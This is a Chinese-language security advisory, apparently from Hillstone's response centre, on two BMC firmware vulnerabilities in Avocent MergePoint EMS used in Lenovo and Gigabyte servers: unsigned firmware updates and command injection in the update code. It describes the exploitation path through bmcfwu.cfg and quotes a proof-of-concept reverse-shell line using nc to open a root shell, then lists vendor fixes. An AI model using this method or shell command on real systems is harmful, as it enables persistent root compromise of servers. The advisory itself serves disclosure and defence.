赞
踩
近日,山石网科安全应急响应中心(HSCERT)监测发现,Eclypsium研究人员在检查Lenovo ThinkServer RD340时,发现了基板管理控制器(BMC)固件中的两个严重漏洞。该设备是2014年发布的双插槽1U Ivy Bridge生成服务器,其BMC是ASPEED AST2300。
进一步的研究发现,漏洞固件来自Avocent(现为Vertiv)制造的名为MergePoint EMS的第三方产品。还有很多其他产品也使用了相同的漏洞固件,包括大部分技嘉的企业服务器系列。
除了生产自己的主板和服务器之外,技嘉还为小型系统集成商提供主板,这种漏洞固件包含在很多供应商的服务器中,包括:
宏碁
AMAX
Bigtera
席亚拉
企鹅计算
SYSGEN
所以此次固件漏洞波及面很广,大多数硬件供应商不会编写自己的固件,而是依赖其供应链合作伙伴。固件通常由第三方许可,只需稍加修改即可使用,这样漏洞也会波及到许多不同的品牌和产品。
BMC固件漏洞的范围并不仅限于少数几家供应商,研究发现惠普和戴尔都发现有严重的固件BMC漏洞。
在分析过程中发现了BMC固件中的两个漏洞:
MergePoint EMS的BMC固件更新过程在接受更新并将内容写入SPI闪存之前不会执行加密签名验证。
执行固件更新过程的BMC中的代码本身包含命令注入漏洞。
这两个漏洞都允许攻击者在主机上以管理权限运行,在BMC中以root身份运行任意代码,并对BMC的SPI闪存内容进行永久性修改。攻击者可以使用对BMC固件的恶意修改来保持对系统的长期维持访问,来避免常见的事件响应,例如重新安装操作系统。
此外,攻击可以修改BMC内的环境,以防止通过软件机制进行任何进一步的固件更新,从而使攻击者能够通过软件方式阻止永久禁用BMC。在这两种情况下,修复系统的唯一选择是使用Dediprog或其他SPI闪存编程器等工具对SPI芯片进行重新闪存写入。
此外,由于可以通过BMC LAN接口执行IPMI通信,因此如果攻击者能够捕获BMC的管理密码,则可以远程利用此更新机制。
联想已在ThinkServer RD340中确认了这个漏洞,并在发布了针对命令注入漏洞的建议和修复:
https://support.lenovo.com/us/en/solutions/LEN-23836
Gigabyte发布了固件的更新版本,以修复使用AST2500的系统的命令注入漏洞,但尚未发布此漏洞的安全建议。截至2019年6月21日,AST2400固件版本仍未修补。
由Avocent / Vertiv制作的MergePoint EMS的BMC固件更新过程在接受更新并将内容写入SPI闪存之前不会以加密方式验证签名。
更新过程会计算uBoot标头和数据区域的CRC32校验和,但是,校验和不是一种安全机制,只能防止意外损坏,在修改BMC固件映像以包含恶意软件后,攻击者可以轻松地重新计算这些校验和。
因此,可以修改固件映像以对BMC代码进行任意修改,并在这些高权限管理控制器中运行恶意软件。
除了缺乏加密安全的BMC固件更新外,还在BMC固件中发现了命令注入漏洞。
BMC包含配置http,ftp或tftp URI以从IPMI下载固件更新映像并通过IPMI触发此更新的功能。这是通过发送IPMI命令来配置包括URI的网络参数,然后发送另外的IPMI命令来检索文件来触发的。
但是,尝试检索文件的函数使用snprintf()不安全地使用攻击者提供的数据构建命令字符串。然后使用popen()执行此命令字符串,使用/ bin / sh来解析命令行。尝试过滤掉某些字符,但如果过滤不充分,此功能很容易受到命令注入的影响。
构建和执行这样的命令是不安全的,并且将导致命令行劫持到shell。更安全的选择是使用带有显式参数的fork()和execve()来避免不受信任的源提供的字符串的shell扩展。
利用Avocent / Vertiv提供的官方更新实用程序,可以利用此漏洞在BMC中获取完整的任意代码执行。
这是通过将bmcfwu.cfg中的RemoteFirmwareImageFilePath设置更改为指向攻击者控制的文件并附加包含某些shell元字符的字符串的URL来实现的。触发远程更新时,BMC将下载文件并将其内容作为shell脚本执行。
下面的PoC文件包含“nc 172.16.0.2 4321 -e / bin / sh”,这将导致与远程服务器的端口4321的进行TCP连接,其中shell是以root权限运行的:
由于此文件已使用/ bin / wget下载并使用shell执行,因此它可以包含比仅运行单个命令以触发连接shell更复杂的功能。实际上,脚本本身可以使用/ bin / wget下载其他可执行文件以在BMC内运行。
通过利用此漏洞,可以在BMC中运行任意恶意软件,在BMC内运行的任意代码可以在正常更新过程之外对存储在SPI闪存中的BMC固件执行恶意修改,以便维持系统中的持久性并在操作系统重新安装后继续运行。
这两个问题都允许攻击者以root身份在BMC中运行任意代码,任何可以向BMC发送IPMI命令的人都可以利用这个漏洞。
控制BMC更新过程的代码包含在BMC本身中。这意味着攻击者不仅可以安装恶意BMC固件,还可以阻止合法所有者对BMC固件的任何进一步更新。此级别的控制可能允许攻击者永久禁用系统,此类攻击的唯一可靠修复方法是物理刷新SPI芯片。
高危
影响厂商列表:
联想,技嘉,Gigabyte,戴尔,惠普
漏洞固件包含在很多供应商的服务器中,包括:
宏碁
AMAX
Bigtera
席亚拉
企鹅计算
SYSGEN
Lenovo已发布固件更新,以缓解受影响平台的命令注入漏洞。
https://support.lenovo.com/us/en/solutions/LEN-23836
Gigabyte为基于AST2500的平台发布了新版本的固件,以消除命令注入漏洞。
除供应商提供的更新外,公司应该主动用工具分析保持固件的完整性,并识别其固件中的漏洞,防止任何植入代码。
Lenovo Command Injection Vulnerability Advisory https://support.lenovo.com/us/en/solutions/LEN-23836
NIST平台固件弹性指南:
https://doi.org/10.6028/NIST.SP.800-193
SEI CERT C编码标准:
https://resources.sei.cmu.edu/downloads/secure-coding/assets/sei-cert-c-coding-standard-2016-v01.pdf
如需帮助请咨询 hscert@hillstonenet.com
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。